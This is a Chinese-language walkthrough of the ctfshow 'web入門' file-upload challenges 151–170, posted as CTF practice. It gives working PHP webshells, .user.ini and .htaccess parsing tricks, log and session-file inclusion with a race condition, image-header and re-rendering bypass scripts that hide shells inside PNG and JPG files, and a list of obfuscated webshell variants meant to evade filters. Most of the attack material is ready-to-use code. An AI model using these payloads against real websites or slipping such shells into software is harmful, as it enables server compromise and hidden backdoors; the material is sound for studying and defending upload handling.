ctfshow web入門文件上傳


web151

上傳一個png的一句話木馬,並用bp抓包

image-20211019154119862

找到木馬路徑upload/shell.php

關閉bp,觀察文件是否上傳成功,上傳成功后會返回上傳路徑

image-20211019154411940

文件上傳成功后,直接訪問upload/shell.php

shell=system('tac ../f*');

image-20211019154454917

web152

與上一題做法一樣

web153

先看一下源碼,php文件上傳不了,可以傳png文件

php.ini是php的一個全局配置文件,對整個web服務起作用;而.user.ini和.htaccess一樣是目錄的配置文件,.user.ini就是用戶自定義的一個php.ini,我們可以利用這個文件來構造后門和隱藏后門。
但是這種方式其實是有個前提的,因為.user.ini只對他同一目錄下的文件起作用,也就是說,只有他同目錄下有php文件才可以。

配置文件內容:

auto_prepend_file=filename      //包含在文件頭
auto_append_file=filename       //包含在文件尾
//filename是你自己的文件名
為了利用auto_append_file,我們首先上傳.user.ini內容為 auto_append_file=“xxx” xxx為我們上傳的文件名,接着上傳一個帶木馬的圖片
因為upload有index.php,所以這個php就會添加一個include(“shell.png”),就會包含到木馬,這樣就在每個php文件上包含了我們的木馬文件。

文件內容:

.user.ini.png
內容:  auto_prepend_file="shell.png"
shell.png 
<?php @eval($_POST['shell']);?>

開始做題

先上傳.user.ini.png文件,並抓包,修改名稱:.user.ini

image-20211022194636869

放包

image-20211022194656139

再上傳圖片馬

image-20211022194732546

放包

image-20211022194757512

成功上傳

訪問/upload/

post傳入參數shell=system('tac ../flag.php');

找到flag

web154

與web153一樣再來一遍,發現.user.ini文件能上傳,但是上傳圖片馬上傳不成功

image-20211022195835300

應該是過濾了php

可以試試短標簽

可用使用<?=(表達式)?>進行繞過,<?=(表達式)?>  等價於 <?php echo (表達式)?> //無限制
圖片內容為
<?=eval($_POST[1]);?> 

image-20211022200346889

1=system('tac ../flag.php');

web155

同154

web156

這次估計是過濾了[]

image-20211022200904615

可以把[]換為{},同154

<?=eval($_POST{1});?> 

image-20211022201302073

上傳成功

繼續同154

web157.158

在前面的基礎上過濾了;在短標簽里可以不要;

直接懟

<?=system('tac ../f*')?>

直接訪問/upload/

web159

這里是將()給ban了,我們采用反引號來執行命令,即

<?=`tac ../f*`?>
或
<?=`cat ../f*`?>

web160

這題在之前的基礎上過濾了空格

先說第一種做法

Nginx日志的默認路徑:

/var/log/nginx/

先正常上傳.user.ini文件(注意里面不要有空格),然后上傳圖片,圖片內容為

<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被過濾)
然后講一句話寫進user-agent里,再蟻劍連接,獲取flag

image-20211023151930256

然后連接蟻劍

url+upload/index.php

或者將UA改為

<?php system('tac ../f*');?>

然后直接訪問/upload/

第二種

還是先上傳.user.ini,再上傳圖片,圖片內容為

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

然后直接訪問/upload/,進行base64解碼就行

web161

getimagesize(): 會對目標文件的16進制去進行一個讀取,去讀取頭幾個字符串是不是符合圖片的要求

這道題對圖片的文件頭進行了檢測!
所以在上題的基礎上都加個 GIF89a 圖片頭就可以了
.user.ini也得加,圖片也得加,上題的兩種方法都可以

GIF89a

image-20211023153647229

web162.163

這題把flag和.給ban了,使用seesion文件包含

先上傳.user.ini,內容為:

GIF89A
auto_append_file=/tmp/sess_hacker

還是先構造一個上傳seeeion文件的包

<!DOCTYPE html>
<html>
<body>
<form action="http://c79ecd48-a6ab-4c73-87bc-e76e0f74e434.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

改Cookie:PHPSESSID=hacker

在123那里寫入內容

<?php system('tac ../f*');?>

訪問upload/目錄,目錄下有index.php文件,即相當於在index.php文件中執行include /tmp/sess_hacker

對兩個包進行有效載荷的設置

image-20211023171353216

線程搞到25

開始競爭,先爆post包,再爆get的包

成功競爭后得到flag

web164

考點是png圖片二次渲染

二次渲染
將一個正常顯示的圖片,上傳到服務器。尋找圖片被渲染后與原始圖片部分對比仍然相同的數據塊部分,將Webshell代碼插在該部分,然后上傳。具體實現需要自己編寫Python程序,人工嘗試基本是不可能構造出能繞過渲染函數的圖片webshell的。
大佬鏈接:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

首先只能上傳png文件

上傳圖片馬,發現沒有辦法執行

在bp上發現圖片中php代碼沒有了,猜測是進行了二次渲染

繞過二次渲染的png腳本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'1.png');  //要修改的圖片的路徑
 
/* 木馬內容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的圖片的路徑,1.png是使用的文件,可以不存在
//會在目錄下自動創建一個1.png圖片
//圖片腳本內容:$_GET[0]($_POST[1]);
//使用方法:例子:查看圖片,get傳入0=system;post傳入tac flag.php
 
?>
------------------------------------
           創建1.png圖片成功!      
------------------------------------

腳本保存為 png二次渲染.php ,進入腳本所在目錄,執行命令

php png二次渲染.php c.png
//c.png可以換成任何名字

創建成功后,生成一個圖片文件1.png

上傳該圖片

查看圖片並傳入命令:

&0=system
1=tac f*

image-20211023205631934

使用ctrl+s將圖片下載下來,記事本打開即可

image-20211023205717323

web165

image-20211023212147376

這題改成了:jpg二次渲染

繞過二次渲染的jpg腳本:

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
 
    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

腳本保存為 jpg二次渲染.php,進入腳本目錄,執行命令

php jpg二次渲染.php a.jpg

會在該目錄下生成一個payload_a.jpg,其內容為:

這個腳本會自動把一句話寫進圖片中

image-20211027143008630

在題中上傳圖片,上傳成功后,查看圖片,然后進行POST傳參

1=system('tac f*');

抓包后,發到Repeater模塊中,就可以找到flag了(沒成功,成功率比較低)

web166

查看源代碼,發現只能傳zip文件

直接上傳一句話,用bp抓包

注意:有時候會出錯,是因為
要改一下MIME類型:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed

上傳成功:

image-20211027200840295

上傳成功后,提示可以下載

image-20211027200916169

說明已經上傳成功

點擊下載文件並進行抓包,發現域名已經變了

返回上傳文件的頁面,用hackbar傳入命令,將域名改為抓的包上面的域名,並POST寫入命令

1=system("cat ../f*");die();
//如果不使用die()那么就會直接下載文件不會顯示內容,原因是因為這個Content-Type: application/x-zip-compressed

得到flag

image-20211027201234805

web167

image-20211028185807575

只能上傳jpg文件

照之前上傳.user.ini文件的方法做,結果一訪問/upload卻找不到文件,說明原來的/upload/index.php文件沒有了,但是注意頁面發現服務器是Apache

image-20211028194842067

關於.htaccess 和.user.ini 配置文件
https://www.dazhuanlan.com/vip_mmles/topics/1547397

.htaccess 是 Apache 的配置文件,不過相當於一個局部配置文件,只對該文件所在目錄下的文件起作用。

姿勢:

先上傳一個jpg文件,抓包修改名稱為.htaccess

文件內容為:

AddType application/x-httpd-php .jpg   //將.jpg后綴的文件解析 成php
或者
SetHandler application/x-httpd-php    //將所有文件都解析為 php 文件

image-20211028204105107

再上傳一句話的jpg文件

image-20211028204239500

下載圖片,POST傳參

1=system('tac ../f*');

image-20211028204424909

web168

image-20211029164111089

需要上傳png文件

嘗試上傳一句話,發現返回為空

image-20211029170204510

說明被過濾了

嘗試后發現過濾了eval,和system,$_POST $_GET等等

下面是另外的免殺代碼:

腳本1:
<?=`$_REQUEST[1]`;?>    //利用反引號執行系統命令
 
腳本2:
<?php
$a=$_REQUEST['a']; 
$b=$_REQUEST['b'];
$a($b);
?> 
 
//a=system&b=tac ../flagaa.php
 
腳本3:
<?php $a='syste'.'m';($a)('ls ../');    //拼接
 
//把ls ../換成tac ../flagaa.php即可找到flag
 
腳本4:
<?php 
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
//c相當於system,給1賦值參數即可
 
腳本5:
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
 
腳本6:
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
 
 
腳本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#數字函數  get傳參   abs=system&acos=tac ../flagaa.php

姿勢:

上傳上面任意腳本,修改后綴,可以看到成功上傳

image-20211029170923801

直接點下載文件是不行的,為404

image-20211029171110691

因為我們上傳文件的位置是/upload/文件夾下

所以我們訪問的url應該加上/upload/上傳的文件名

image-20211029171314164

最后找到flag

1=ls ../    //可以一級一級的嘗試
1=tac ../flagaa.php

image-20211029171838183

flag.php文件里面沒有東西

image-20211029171746943

web169

image-20211029173812485

需要上傳zip文件

但zip的文件上傳不上

image-20211029173918106

后端檢查了MIME,只能為image/png

image-20211029174714168

所以抓包需要修改MIME type為image/png!!!!!!//注意改

發現可以成功上傳

image-20211029174845438

嘗試之后發現也對文件內容進行了過濾:<>?空格$等等

image-20211029175027359

但文件名可以修改為.user.ini和php

因為過濾,一句話上傳不了,所以可以用.user.ini進行日志包含,即在UA頭寫入一句話

姿勢:

先上傳.user.ini文件,內容為auto_append_file=/var/log/nginx/access.log

auto_append_file=/var/log/nginx/access.log
這里是利用nginx日志路徑包含
這樣就可以往UA里寫入一句話了

image/png

image-20211029200541410

然后上傳一個php文件

image/png

UA頭為:<?=eval($_POST[1]);?> 

image-20211029212922738

打開下載文件,注意url為/upload/1.php

image-20211029213046187

這說明一句話已經傳上,然后進行POST傳參就行了

1=system("ls ../");
1=system("tac ../flagaa.php");

image-20211029213157675

image-20211029213217371

web170

image-20211029213424073

上傳zip文件

與上一題一樣,需要加一個文件頭

.user.ini
內容:
GIF89A
auto_append_file=/var/log/nginx/access.log

image/png
1.php
內容隨意

image/png

UA頭為:<?=eval($_POST[1]);?> 
1=system("ls ../");
1=system("tac ../flagaa.php");

image-20211029213912609

image-20211029214017436

image-20211029214130426

image-20211029214229123

image-20211029214249444

總結:

.user.ini  不僅僅用於apache服務器,但要求上傳目錄下有一個php文件
.htaccess   只適用於apache服務器,沒有文件的要求,可指定解析任意文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM